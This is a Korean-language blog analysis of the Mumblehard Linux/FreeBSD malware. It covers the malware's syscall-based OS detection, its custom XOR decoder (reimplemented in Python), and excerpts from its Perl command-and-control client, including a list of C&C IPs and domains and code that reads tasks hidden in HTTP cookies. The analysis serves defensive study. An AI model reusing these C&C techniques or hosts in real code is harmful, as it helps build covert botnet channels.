Mumblehard 악성코드의 몇가지 특징

mumblehard는 ESET에서 관리하는 블로그인 WeLiveSecurity를 통해 알려진 악성코드로 Linux와 FreeBSD를 둘 다 지원하는 멀티플랫폼 악성코드이다. ESET에 있는 보고서가 잘 정리되어 있으니 그 내용을 참조하기 바라며, 이 글에선 필자가 흥미롭게 본 부분만 정리한다. (사실 길게 쓰기 귀찮다..)

특징

멀티 플랫폼 지원(Linux/BSD)

이 악성코드는 ELF 바이너리를 배포했음에도 여러 운영체제를 지원하도록 구성되어 있다. 일단 임포트하는 라이브러리가 하나도 없으며, 모든 코드가 직접적으로 시스템 콜을 호출하는 형태로 되어 있다. 리눅스 운영체제가 배포판 종류 및 버전에 따라 별도의 빌드가 필요한 것을 생각해봤을 때 다수의 리눅스 배포판에 효과적으로 배포가 가능하다고 볼 수 있다.
이 외에도 재미있는 점은 운영체제 환경이 리눅스인지 BSD인지 확인하여 OS에 따라 다른 행동을 하도록 구성했다는 점이다. 예를 들어, 악성코드 시작 코드를 보자.

LOAD:0804804C                                   public start
LOAD:0804804C                   start           proc near
LOAD:0804804C 89 25 0D 9A 04 08                 mov     MainStackPointer, esp
LOAD:08048052 B8 0D 00 00 00                    mov     eax, SYS_time   ; BSD : fchdir(stdin)
LOAD:08048052                                                           ; Linux : time(NULL)
LOAD:08048057 31 DB                             xor     ebx, ebx
LOAD:08048059 53                                push    ebx
LOAD:0804805A 50                                push    eax
LOAD:0804805B CD 80                             int     80h             ; syscall(SYS_time);
LOAD:0804805D 73 02                             jnb     short loc_8048061
LOAD:0804805F F7 D8                             neg     eax
LOAD:08048061
LOAD:08048061                   loc_8048061:                            ; CODE XREF: start+11j
LOAD:08048061 90                                nop
LOAD:08048062 90                                nop
LOAD:08048063 81 C4 08 00 00 00                 add     esp, 8
LOAD:08048069 3D 00 00 00 00                    cmp     eax, 0
LOAD:0804806E 7C 07                             jl      short isBSD
LOAD:08048070 B0 03                             mov     al, OS_LINUX
LOAD:08048072 E9 02 00 00 00                    jmp     loc_8048079
LOAD:08048077                   ; ---------------------------------------------------------------------------
LOAD:08048077
LOAD:08048077                   isBSD:                                  ; CODE XREF: start+22j
LOAD:08048077 B0 09                             mov     al, OS_BSD
LOAD:08048079
LOAD:08048079                   loc_8048079:                            ; CODE XREF: start+26j
LOAD:08048079 A2 11 9A 04 08                    mov     OSType, al

이 코드를 보면, 시스템 콜 13번(SYS_time)을 실행하는 것을 볼 수 있다. 이 콜은 운영체제에 따라 다른 기능을 수행하는데, Linux인 경우에는 시간 정보를 가져오는 time을 실행하고, BSD라면, fchdir 함수가 실행된다. 재미있는 점은 이 두 개의 호출이 다른 결과를 가져온다는 것이다. 예를 들어 위의 코드를 C로 구성해보면 다음과 같다.

int ret = syscall(13, 0);
if ret < 0:
    OSType = ISBSD;
else:
    OSType = ISLINUX;

BSD의 경우에 13번 fchdir은 두 번째 인자를 0을 받으면, fchdir(stdin)을 실행하고 그 결과를 준다. stdin을 입력으로 받으면 시스템 콜이 실패(-1)하고 디렉터리가 아니다(ENOTDIR, -20)이라는 에러 정보를 가진다. Linux라면, time(NULL)을 성공적으로 실행하여 현재 시간 정보를 int 형으로 돌려준다. 즉, 양수가 된다.
이런 결과를 토대로 운영체제를 판단한 후, 임무 수행 시 각 운영체제마다 다른 시스템 콜 호출을 수행하도록 구성하였다.

악성코드 디코더

Custom XOR을 사용했으며, 총 2개의 데이터를 복호화한다. 하나는 perl의 경로인 ‘/usr/bin/perl’이며, 다른 하나는 펄스크립트 코드이다. 복호화 코드는 다음과 같다.

import struct

def xorl(nbytes, buffer):
    base = 4
    size = 16
    offset = 0
    result = ''
    while nbytes:
        if base == size:
            if size == 128:
                size = 0
            size += 16
            base = 1

        result += chr(int(buffer[offset]) ^ base)
        base += 1
        nbytes -= 1
        offset += 1
    return result

# /usr/bin/perl
buf = [0x2B, 0x70, 0x75, 0x75, 0x27, 0x6B, 0x63, 0x65, 0x23, 0x7D, 0x6B, 0x7D, 0x6D, 0x00]
print xorl(0x0D, buf)

# Perl script for command and control server
f = open('dump_perl_code', 'rb')
buf = f.read()

buflist = []
for i in buf:
    buflist.append(int(struct.unpack('=b', i)[0]))

f.close()

print xorl(0x1706, buflist)

디코딩 된 펄 코드는 C&C 통신을 수행하며, HTTP 헤더에 있는 ‘Set-Cookie’ 필드에 PHPSESSIONID 뒤의 값을 이용하여 데이터 통신을 수행한다. 내부 정보는 Predefine된 구조체 형태로 되어 있으며, 인코딩되어 전송한다. 디코더는 펄 스크립트에 있으며, 코드는 다음과 같다.

sub xorl {
    my ( $line, $code, $xor, $lim ) = ( shift, "", 1, 16 );
    foreach my $chr ( split( //, $line ) ) {
        if ( $xor == $lim ) { $lim = 0 if $lim == 256; $lim += 16; $xor = 1; }
        $code .= pack( "C", unpack( "C", $chr ) ^ $xor );
        $xor++;
    }
    return $code;
}

펄 스크립트 C&C

앞서 잠깐 언급한 것처럼 펄 스크립트는 C&C와 통신하여 실제 명령을 수행하는 역할을 한다. 재밌는 점은 해당 스크립트에는 윈도 환경도 고려되어 있는 것 같다.

if ( $^O eq "linux" )   { $ewblock = 11;    $eiprogr = 115; }
if ( $^O eq "freebsd" ) { $ewblock = 35;    $eiprogr = 36; }
if ( $^O eq "MSWin32" ) { $ewblock = 10035; $eiprogr = 10036; }

통신은 HTTP 패킷의 헤더에 정보를 은닉하여 수발신하도록 구성되어 있다. 코드 자체가 난독화되어 있진 않기 때문에 쉽게 분석할 수 있다. C&C 접속에 사용된 URL/IP는 다음과 같다.

my $url = [
    "184.106.208.157",     "194.54.81.163",
    "advseedpromoan.com",  "50.28.24.79",
    "67.221.183.105",      "seoratingonlyup.net",
    "advertise.com",       "195.242.70.4",
    "pratioupstudios.org", "behance.net"
];

HTTP Request 패킷은 기본적인 구조를 가지고 있다.

    my $buffer  = join( "x0Dx0A",
        "GET $path HTTP/1.1",
        "Host: $host",
"User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/$gecko Firefox/7.0.1",
"Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.9",
        "Accept-Language: en-us,en;q=0.5",
        "Accept-Encoding: gzip, deflate",
        "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
        "Connection: close",
        "x0Dx0A" );

할 일은 PHPSESSID 뒤에 붙은 인코딩된 문자열을 디코딩하여 수행한다.

    if ( open( F, "<", $header ) ) {
        flock F, 1;
        my ( $test, $task ) = ( 0, "" );
        while (<F>) {
            s/^s*([^s]?.*)$/$1/;
            s/^(.*[^s])s*$/$1/;
            next unless length $_;
            $test++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close";
            $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/;    // 값 추출
        }
        close F;
        ( $link, $file, $id, $command, $timeout ) = &decd($task)    // 디코딩
          if $test == 2 && length $task;
    }

Featured Image Source : https://www.flickr.com/photos/barmala/2561602478/in/photostream/